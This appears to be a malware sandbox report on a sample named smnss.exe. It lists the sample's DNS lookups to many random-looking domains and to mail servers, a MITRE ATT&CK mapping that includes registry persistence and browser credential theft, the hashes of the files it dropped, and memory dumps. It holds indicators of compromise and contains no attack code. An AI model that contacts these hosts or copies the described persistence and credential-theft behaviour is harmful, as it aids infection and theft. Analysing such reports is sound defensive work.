smnss.exe

55 B
110 B
1
1

DNS Request

attbi.com
8.8.8.8:53

cdata.tvnet.hu

dns

smnss.exe

60 B
122 B
1
1

DNS Request

cdata.tvnet.hu
8.8.8.8:53

courtesan.com

dns

smnss.exe

118 B
86 B
2
1

DNS Request

courtesan.com

DNS Request

courtesan.com
8.8.8.8:53

bigelowandholmes.com

dns

smnss.exe

66 B
125 B
1
1

DNS Request

bigelowandholmes.com
8.8.8.8:53

nmhpnnqsns.us

dns

smnss.exe

59 B
122 B
1
1

DNS Request

nmhpnnqsns.us
8.8.8.8:53

millert.dev

dns

smnss.exe

57 B
73 B
1
1

DNS Request

millert.dev

DNS Response

65.102.237.118
8.8.8.8:53

shphmshesn.biz

dns

smnss.exe

60 B
122 B
1
1

DNS Request

shphmshesn.biz
8.8.8.8:53

gnu.org

dns

smnss.exe

53 B
74 B
1
1

DNS Request

gnu.org
8.8.8.8:53

eggs.gnu.org

dns

smnss.exe

58 B
74 B
1
1

DNS Request

eggs.gnu.org

DNS Response

209.51.188.92
8.8.8.8:53

pmpmsssrsh.in

dns

smnss.exe

59 B
112 B
1
1

DNS Request

pmpmsssrsh.in
8.8.8.8:53

eqqswnrqwh.ws

dns

smnss.exe

59 B
75 B
1
1

DNS Request

eqqswnrqwh.ws

DNS Response

64.70.19.203
8.8.8.8:53

qesrphwwqh.info

dns

smnss.exe

61 B
140 B
1
1

DNS Request

qesrphwwqh.info
8.8.8.8:53

alumni-caltech-edu.mail.protection.outlook.com

dns

smnss.exe

92 B
156 B
1
1

DNS Request

alumni-caltech-edu.mail.protection.outlook.com

DNS Response

52.101.10.2

52.101.40.6

52.101.9.0

52.101.42.13
8.8.8.8:53

mhsrnnapqs.in

dns

smnss.exe

59 B
112 B
1
1

DNS Request

mhsrnnapqs.in
8.8.8.8:53

pmhaammqwa.in

dns

smnss.exe

59 B
112 B
1
1

DNS Request

pmhaammqwa.in
8.8.8.8:53

speqaawsaa.biz

dns

smnss.exe

60 B
122 B
1
1

DNS Request

speqaawsaa.biz
8.8.8.8:53

aspmx3.googlemail.com

dns

smnss.exe

67 B
83 B
1
1

DNS Request

aspmx3.googlemail.com

DNS Response

142.250.153.26
8.8.8.8:53

aspmx3.googlemail.com

dns

smnss.exe

67 B
83 B
1
1

DNS Request

aspmx3.googlemail.com

DNS Response

142.250.153.27
8.8.8.8:53

mail2.edvz.uni-linz.ac.at

dns

smnss.exe

71 B
87 B
1
1

DNS Request

mail2.edvz.uni-linz.ac.at

DNS Response

140.78.3.69
8.8.8.8:53

nshemqhqwa.us

dns

smnss.exe

59 B
122 B
1
1

DNS Request

nshemqhqwa.us
8.8.8.8:53

sshmwenmpa.biz

dns

smnss.exe

60 B
122 B
1
1

DNS Request

sshmwenmpa.biz
8.8.8.8:53

nppqremann.us

dns

smnss.exe

59 B
122 B
1
1

DNS Request

nppqremann.us
8.8.8.8:53

hhasmewssn.net

dns

smnss.exe

60 B
133 B
1
1

DNS Request

hhasmewssn.net
8.8.8.8:53

qesmnenehh.info

dns

smnss.exe

61 B
140 B
1
1

DNS Request

qesmnenehh.info
8.8.8.8:53

alumni-caltech-edu.mail.protection.outlook.com

dns

smnss.exe

92 B
156 B
1
1

DNS Request

alumni-caltech-edu.mail.protection.outlook.com

DNS Response

52.101.41.54

52.101.194.19

52.101.8.36

52.101.41.28
8.8.8.8:53

coin.mpg

dns

smnss.exe

54 B
129 B
1
1

DNS Request

coin.mpg
8.8.8.8:53

wrmapmhana.in

dns

smnss.exe

59 B
112 B
1
1

DNS Request

wrmapmhana.in
8.8.8.8:53

domain.com

dns

smnss.exe

56 B
107 B
1
1

DNS Request

domain.com
8.8.8.8:53

domain-com.mail.protection.outlook.com

dns

smnss.exe

84 B
148 B
1
1

DNS Request

domain-com.mail.protection.outlook.com

DNS Response

52.101.41.54

52.101.8.36

52.101.41.28

52.101.194.19
8.8.8.8:53

aswpeaaehn.com

dns

smnss.exe

60 B
133 B
1
1

DNS Request

aswpeaaehn.com
8.8.8.8:53

wewsnamnpa.in

dns

smnss.exe

59 B
112 B
1
1

DNS Request

wewsnamnpa.in
8.8.8.8:53

rasasrqawn.org

dns

smnss.exe

60 B
76 B
1
1

DNS Request

rasasrqawn.org

DNS Response

162.249.65.106
8.8.8.8:53

aspmx.l.google.com

dns

smnss.exe

64 B
80 B
1
1

DNS Request

aspmx.l.google.com

DNS Response

209.85.202.27
8.8.8.8:53

aspmx.l.google.com

dns

smnss.exe

64 B
80 B
1
1

DNS Request

aspmx.l.google.com

DNS Response

74.125.193.26
8.8.8.8:53

mail3.edvz.uni-linz.ac.at

dns

smnss.exe

71 B
87 B
1
1

DNS Request

mail3.edvz.uni-linz.ac.at

DNS Response

140.78.3.83
8.8.8.8:53

wneeawrwsa.in

dns

smnss.exe

59 B
112 B
1
1

DNS Request

wneeawrwsa.in
8.8.8.8:53

qnqhneaphh.info

dns

smnss.exe

61 B
140 B
1
1

DNS Request

qnqhneaphh.info
8.8.8.8:53

hmhhqmpmes.net

dns

smnss.exe

60 B
133 B
1
1

DNS Request

hmhhqmpmes.net
8.8.8.8:53

qwqwswshqs.info

dns

smnss.exe

61 B
140 B
1
1

DNS Request

qwqwswshqs.info
8.8.8.8:53

wnpnwwmhqs.in

dns

smnss.exe

59 B
112 B
1
1

DNS Request

wnpnwwmhqs.in
8.8.8.8:53

ammnmanewa.com

dns

smnss.exe

60 B
133 B
1
1

DNS Request

ammnmanewa.com
8.8.8.8:53

hwhnpreaah.net

dns

smnss.exe

60 B
133 B
1
1

DNS Request

hwhnpreaah.net
8.8.8.8:53

qwenephqma.info

dns

smnss.exe

61 B
140 B
1
1

DNS Request

qwenephqma.info
8.8.8.8:53

empanhrewn.ws

dns

smnss.exe

59 B
75 B
1
1

DNS Request

empanhrewn.ws

DNS Response

64.70.19.203
8.8.8.8:53

awmmahqnnr.com

dns

smnss.exe

60 B
133 B
1
1

DNS Request

awmmahqnnr.com
8.8.8.8:53

alt1.aspmx.l.google.com

dns

smnss.exe

69 B
85 B
1
1

DNS Request

alt1.aspmx.l.google.com

DNS Response

142.250.27.26
8.8.8.8:53

alt1.aspmx.l.google.com

dns

smnss.exe

69 B
85 B
1
1

DNS Request

alt1.aspmx.l.google.com

DNS Response

142.250.27.26
8.8.8.8:53

mail1.edvz.uni-linz.ac.at

dns

smnss.exe

71 B
87 B
1
1

DNS Request

mail1.edvz.uni-linz.ac.at

DNS Response

140.78.3.68
8.8.8.8:53

whhhnshqmh.in

dns

smnss.exe

59 B
112 B
1
1

DNS Request

whhhnshqmh.in
8.8.8.8:53

anrqpawahs.com

dns

smnss.exe

60 B
133 B
1
1

DNS Request

anrqpawahs.com
8.8.8.8:53

mwwhnphnnh.in

dns

smnss.exe

59 B
112 B
1
1

DNS Request

mwwhnphnnh.in
8.8.8.8:53

pmwsnaaesr.in

dns

smnss.exe

59 B
112 B
1
1

DNS Request

pmwsnaaesr.in
8.8.8.8:53

wwnshwsass.in

dns

smnss.exe

59 B
112 B
1
1

DNS Request

wwnshwsass.in
8.8.8.8:53

aqssrqsnwh.com

dns

smnss.exe

60 B
133 B
1
1

DNS Request

aqssrqsnwh.com
8.8.8.8:53

wrnqrwamns.in

dns

smnss.exe

59 B
112 B
1
1

DNS Request

wrnqrwamns.in
8.8.8.8:53

qnnmwnahha.info

dns

smnss.exe

61 B
140 B
1
1

DNS Request

qnnmwnahha.info
8.8.8.8:53

hwphwqpnnh.net

dns

smnss.exe

60 B
133 B
1
1

DNS Request

hwphwqpnnh.net
8.8.8.8:53

aspmx4.googlemail.com

dns

smnss.exe

67 B
83 B
1
1

DNS Request

aspmx4.googlemail.com

DNS Response

142.251.9.27
8.8.8.8:53

pqqannrswn.in

dns

smnss.exe

59 B
112 B
1
1

DNS Request

pqqannrswn.in
8.8.8.8:53

ehqnrwwpsa.ws

dns

smnss.exe

59 B
75 B
1
1

DNS Request

ehqnrwwpsa.ws

DNS Response

64.70.19.203
8.8.8.8:53

phqawmnaes.in

dns

smnss.exe

59 B
112 B
1
1

DNS Request

phqawmnaes.in
8.8.8.8:53

hmawrerqqa.net

dns

smnss.exe

60 B
133 B
1
1

DNS Request

hmawrerqqa.net
8.8.8.8:53

qhswmqsnha.info

dns

smnss.exe

61 B
140 B
1
1

DNS Request

qhswmqsnha.info
8.8.8.8:53

msshreqpsh.in

dns

smnss.exe

59 B
112 B
1
1

DNS Request

msshreqpsh.in
8.8.8.8:53

qamwnmqrnh.info

dns

smnss.exe

61 B
140 B
1
1

DNS Request

qamwnmqrnh.info
8.8.8.8:53

hmwapprssa.net

dns

smnss.exe

60 B
133 B
1
1

DNS Request

hmwapprssa.net
8.8.8.8:53

qhaanmshrn.info

dns

smnss.exe

61 B
140 B
1
1

DNS Request

qhaanmshrn.info
8.8.8.8:53

wahqsnesnh.in

dns

smnss.exe

59 B
112 B
1
1

DNS Request

wahqsnesnh.in
8.8.8.8:53

alt2.aspmx.l.google.com

dns

smnss.exe

69 B
85 B
1
1

DNS Request

alt2.aspmx.l.google.com

DNS Response

142.250.153.26
8.8.8.8:53

alt2.aspmx.l.google.com

dns

smnss.exe

69 B
85 B
1
1

DNS Request

alt2.aspmx.l.google.com

DNS Response

142.250.153.27
8.8.8.8:53

peshnqhsea.in

dns

smnss.exe

59 B
112 B
1
1

DNS Request

peshnqhsea.in
8.8.8.8:53

wnshehamhh.in

dns

smnss.exe

59 B
112 B
1
1

DNS Request

wnshehamhh.in

MITRE ATT&CK Enterprise v15

Reconnaissance

Resource Development

Initial Access

Execution

Persistence

Boot or Logon Autostart Execution

T1547

Registry Run Keys / Startup Folder

T1547.001

Privilege Escalation

Boot or Logon Autostart Execution

T1547

Registry Run Keys / Startup Folder

T1547.001

Defense Evasion

Modify Registry

T1112

Credential Access

Credentials from Password Stores

T1555

Credentials from Web Browsers

T1555.003

Unsecured Credentials

T1552

Credentials In Files

T1552.001

Discovery

Peripheral Device Discovery

T1120

Query Registry

T1012

System Information Discovery

T1082

System Location Discovery

T1614

System Language Discovery

T1614.001

Lateral Movement

Collection

Data from Local System

T1005

Command and Control

Exfiltration

Impact

Replay Monitor

Loading Replay Monitor...

Downloads

C:\Windows\SysWOW64\satornas.dll

Filesize
183B

MD5
b4a60ef7d691703d483d3ec7eda73697

SHA1
ca200b0ef0c1fb7d26d30db3695c31d620b68885

SHA256
2f5166d09c98bd58f4a33e5b6de1bf20828082bee07c747d0a52dd91251e1819

SHA512
25bca8e65e2573d533d9899f4f66d0f6c6675b19f7823baea45e506a610c269fb2360ee2eef57a81f608c1629879cb5a9f548a3c3ad52e7e85b1227432affa57

Download Submit
C:\Windows\SysWOW64\smnss.exe

Filesize
2.4MB

MD5
8e2caebfa6f0c777b8e25d9c22430569

SHA1
b1c74cc87b1d01a142323414bf4b827f309036be

SHA256
f53ea6929fa540584ea9e6a28d7929fdc758c8069a655703bcac9bd7a7cb2eb9

SHA512
c70d08a2c8afb7df07dea5a30c4a148297003a51fe6771e46ed900a9b96902f85a9e4c7338457202632a5ed2c06c9e7e4ce809c77a769d37397d1a0b6af2fa4a

Download Submit
\Windows\SysWOW64\ctfmen.exe

Filesize
4KB

MD5
6552b9f7b951dbb9d47489d27756f21d

SHA1
261836ef50ca1214b6c03f2d85196eb19d56bfca

SHA256
d2d885cd8485d19d72fd53b364725fed1ae472cb1269e0711bd8677c96bb99d1

SHA512
1ea7cbcc9425ee864093aacc46d7ef098377d59dab62f528118e4c44c3d70bc3601680f9d1a679dda9950da98972bce770eaa12dc88d9ce81ff2e01dc4cb4ae8

Download Submit
\Windows\SysWOW64\shervans.dll

Filesize
8KB

MD5
25a91e84f6b5393fd4a9a7bd5a59b466

SHA1
1093c071c3ca3911ab427eb7a06bc2d457c66373

SHA256
02590c87d2049d39bb7274a142b1bc047735417a5bed254447b09f04c1c2d384

SHA512
1b3216242db849a14a64c3aed050967bfcc674d1be9d418e927184e07fe76ede35dcb6ff9f6f04ee94df8e42270e3139dd449a5453a8777ea7c152c13253047e

Download Submit
memory/2244-29-0x0000000000400000-0x0000000000409000-memory.dmp

Filesize
36KB

Download
memory/2516-13-0x0000000010000000-0x000000001000D000-memory.dmp

Filesize
52KB

Download
memory/2516-20-0x00000000003F0000-0x00000000003F9000-memory.dmp

Filesize
36KB

Download
memory/2516-28-0x0000000010000000-0x000000001000D000-memory.dmp

Filesize
52KB

Download
memory/2516-25-0x0000000000400000-0x0000000000DCC000-memory.dmp

Filesize
9.8MB

Download
memory/2516-26-0x00000000003F0000-0x00000000003F9000-memory.dmp

Filesize
36KB

Download
memory/2516-0-0x0000000000400000-0x0000000000DCC000-memory.dmp

Filesize
9.8MB

Download
memory/2516-34-0x000000007EBD0000-0x000000007EFA1000-memory.dmp

Filesize
3.8MB

Download
memory/2516-1-0x000000007EBD0000-0x000000007EFA1000-memory.dmp

Filesize
3.8MB

Download
memory/2808-43-0x0000000010000000-0x000000001000D000-memory.dmp

Filesize
52KB

Download
memory/2808-53-0x0000000000400000-0x0000000000DCC000-memory.dmp

Filesize
9.8MB

Download
memory/2808-36-0x0000000000400000-0x0000000000DCC000-memory.dmp

Filesize
9.8MB

Download
memory/2808-45-0x0000000000400000-0x0000000000DCC000-memory.dmp

Filesize
9.8MB

Download
memory/2808-46-0x000000007EBD0000-0x000000007EFA1000-memory.dmp

Filesize
3.8MB

Download
memory/2808-48-0x0000000010000000-0x000000001000D000-memory.dmp

Filesize
52KB

Download
memory/2808-47-0x0000000000400000-0x0000000000DCC000-memory.dmp

Filesize
9.8MB

Download
memory/2808-49-0x0000000000400000-0x0000000000DCC000-memory.dmp

Filesize
9.8MB

Download
memory/2808-51-0x0000000000400000-0x0000000000DCC000-memory.dmp

Filesize
9.8MB

Download
memory/2808-39-0x000000007EBD0000-0x000000007EFA1000-memory.dmp

Filesize
3.8MB

Download
memory/2808-55-0x0000000000400000-0x0000000000DCC000-memory.dmp

Filesize
9.8MB

Download
memory/2808-57-0x0000000000400000-0x0000000000DCC000-memory.dmp

Filesize
9.8MB

Download
memory/2808-59-0x0000000000400000-0x0000000000DCC000-memory.dmp

Filesize
9.8MB

Download
memory/2808-61-0x0000000000400000-0x0000000000DCC000-memory.dmp

Filesize
9.8MB

Download
memory/2808-63-0x0000000000400000-0x0000000000DCC000-memory.dmp

Filesize
9.8MB

Download
memory/2808-65-0x0000000000400000-0x0000000000DCC000-memory.dmp

Filesize
9.8MB

Download
memory/2808-67-0x0000000000400000-0x0000000000DCC000-memory.dmp

Filesize
9.8MB

Download

Analysis

Sharing

General

Malware Config

Signatures

Processes

Network

HTTP Request

HTTP Request

HTTP Request

DNS Request

DNS Request

DNS Request

DNS Response

DNS Request

DNS Request

DNS Response

DNS Request

DNS Request

DNS Response

DNS Request

DNS Response

DNS Request

DNS Request

DNS Response

DNS Request

DNS Request

DNS Request

DNS Request

DNS Request

DNS Request

DNS Request

DNS Request

DNS Request

DNS Request

DNS Response

DNS Request

DNS Request

DNS Request

DNS Response

DNS Request

DNS Request

DNS Response

DNS Request

DNS Request

DNS Response

DNS Request

DNS Request

DNS Request

DNS Request

DNS Response

DNS Request

DNS Response

DNS Request

DNS Response

DNS Request

DNS Request

DNS Request

DNS Request

DNS Request

DNS Request

DNS Response

DNS Request

DNS Request

DNS Request

DNS Request

DNS Response

DNS Request

DNS Request

DNS Request

DNS Response

DNS Request

DNS Response

DNS Request

DNS Response

DNS Request

DNS Response

DNS Request

DNS Request

DNS Request